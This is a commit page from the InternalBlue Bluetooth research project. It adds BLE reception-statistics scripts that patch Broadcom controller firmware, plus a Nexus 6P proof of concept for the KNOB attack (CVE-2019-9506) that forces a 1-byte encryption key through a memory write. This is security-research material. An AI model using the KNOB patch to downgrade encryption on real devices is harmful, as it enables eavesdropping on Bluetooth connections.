Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
unixb0y committed Dec 22, 2019
2 parents dd19701 + a7ca898 commit 09149a2
Show file tree
Hide file tree
Showing 10 changed files with 744 additions and 3 deletions.
19 changes: 17 additions & 2 deletions examples/README.md
Expand Up @@ -6,7 +6,9 @@ KNOB Attack Test (CVE-2019-9506)
--------------------------------
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py), [Nexus 5](nexus5/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py), and [Samsung Galaxy S8](s8/KNOB_PoC.py).
Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py),
[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
and [Samsung Galaxy S8](s8/KNOB_PoC.py).


Invalid Curve Attack Test (CVE-2018-5383)
Expand All @@ -29,5 +31,18 @@ If the operating system displays a yes/no question during pairing, a warning, or
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
active MITM attack.

Available for the [Nexus 5](NiNo_PoC.py).
Available for the [Nexus 5](nexus5/NiNo_PoC.py).


Measurement of BLE Receive Statistics
-------------------------------------
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
currently active channel map.

Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script,
as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py)
and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
with the full iOS stack, thus it is not pushed online here.
47 changes: 47 additions & 0 deletions examples/eval_cyw20735/BLE_Reception_PoC.py
@@ -0,0 +1,47 @@
#!/usr/bin/python2

from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.bluezcore import BluezCore

"""
Script that shows receive statistics from LE connections over HCI on the CYW20735B1 evaluation board.
Generated with Nexmon.
"""

internalblue = ADBCore()
try:
internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device
except IndexError:
internalblue = BluezCore()
try:
internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface
except IndexError:
log.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
exit(-1)

# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)

progress_log = log.info("Connected to first target, installing patches...")

# GENERATED PATCHES
internalblue.patchRom(0x0008ea46, '\x89\xf1\x5b\xbc')
internalblue.patchRom(0x0008edc2, '\x89\xf1\x1d\xbc')
internalblue.patchRom(0x0008eec0, '\x89\xf1\x1e\xbb')
internalblue.writeMem(0x00218200, '\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00')
internalblue.writeMem(0x00218300, '\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf')
internalblue.writeMem(0x00218500, '\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00')
internalblue.writeMem(0x00218600, '\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00')
internalblue.writeMem(0x00218800, '\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00')
internalblue.writeMem(0x00218000, '\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00')


# shutdown connection
internalblue.shutdown()


log.info("--------------------")
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
175 changes: 175 additions & 0 deletions examples/nexus5/BLE_Reception_PoC.py
@@ -0,0 +1,175 @@
#!/usr/bin/env python2

# Jiska Classen

# Get receive statistics on a Nexus 5 for BLE connection events

from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli

internalblue = ADBCore(serial=False)
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device



"""
# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess
# they never planned to support BLE. Even callbacks are defined in Patchram.
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
"""
RX_DONE_HOOK_ADDRESS = 0x224DEA
HOOKS_LOCATION = 0xd7500
ASM_HOOKS = """
// restore first 4 bytes of _connTaskRxDone
push {r4-r8,lr}
mov r4, r0
// fix registers for our own routine
push {r1-r7, lr}
mov r7, r0
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RXDN"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x4e445852 // RXDN
str r1, [r0]
add r0, 4 // advance buffer by 4
// copy 239 bytes of le_conn to buffer
mov r2, #238
mov r1, r7 // le_conn[0]
//add r1, 0x100 //TODO use this to access the connection struct with different offset
bl 0x46FE6 // __rt_memcpy
// for debugging purposes, we overwrite the first byte
// (which is the connTaskCallback anyway) with RSSI info
mov r2, #1 // 1 rssi byte
add.w r1, r7, #0x12c // le_conn[0x12c] is position of RSSI in Nexus 5
mov r0, r4
add r0, 6
bl 0x46FE6 // __rt_memcpy
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // osapi_blockPoolFree
// undo registers for our own routine
mov r0, r7
pop {r1-r7, lr}
// branch back to _connTaskRxDone + 4
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS+4)

# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)

log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)


# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None


def lereceiveStatusCallback(record):
"""
RXDN Callback Function
Depends on the raspi3_rxdn.py or eval_rxdn.py script,
which patches the _connTaskRxDone() function and copies
info from the LE connection struct to HCI.
"""

hcipkt = record[0] # get HCI Event packet

if not issubclass(hcipkt.__class__, hci.HCI_Event):
return

if hcipkt.data[0:4] == "RXDN":
data = hcipkt.data[4:]

# Raspi 3 gets errors
if len(data) < 239:
return

# !!! Nexus 5 has really outdated struct...
packet_curr_nesn_sn = u8(data[0xa0])
packet_channel_map = data[0x4c:0x4c+38]
packet_channel = u8(data[0x7b])
packet_event_ctr = u16(data[0x86:0x88])
packet_rssi = u8(data[0])

if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")

# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# log.debug(" ^----------------------------- MISSED -------------------------------")

# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)

internalblue.last_nesn_sn = packet_curr_nesn_sn

# draw channel with rssi color
color = '\033[92m' # green
if 0xc8 > packet_rssi >= 0xc0:
color = '\033[93m' # yellow
elif packet_rssi < 0xc0:
color = '\033[91m' # red

channels_total = u8(packet_channel_map[37])
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])

log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))



log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")

# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)


# enter CLI
cli.commandLoop(internalblue)
100 changes: 100 additions & 0 deletions examples/nexus6p/KNOB_PoC.py
@@ -0,0 +1,100 @@
#!/usr/bin/python2

# Jiska Classen, Secure Mobile Networking Lab


from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int


"""
This is a standalone PoC for the KNOB attack on a Nexus 6P.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""


internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True
internalblue.interface = internalblue.device_list()[0][1] # just use the first device

# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)


log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")

# modify function lm_SendLmpEncryptKeySizeReq
#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
#internalblue.patchRom(0x4BC6E, patch)
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)

# modify global variable for own setting
internalblue.writeMem(0x204147, '\x01') # global key entropy


log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0b\n"
"...shows the key size of handle 0x000b.\n")


class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."

parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)

parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")

def work(self):
args = self.getArgs()
internalblue.sendHciCommand(0x1408, p16(args.hnd))
return True


def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return

if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))

return


# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)


# enter CLI
cli.commandLoop(internalblue)

0 comments on commit 09149a2

Please sign in to comment.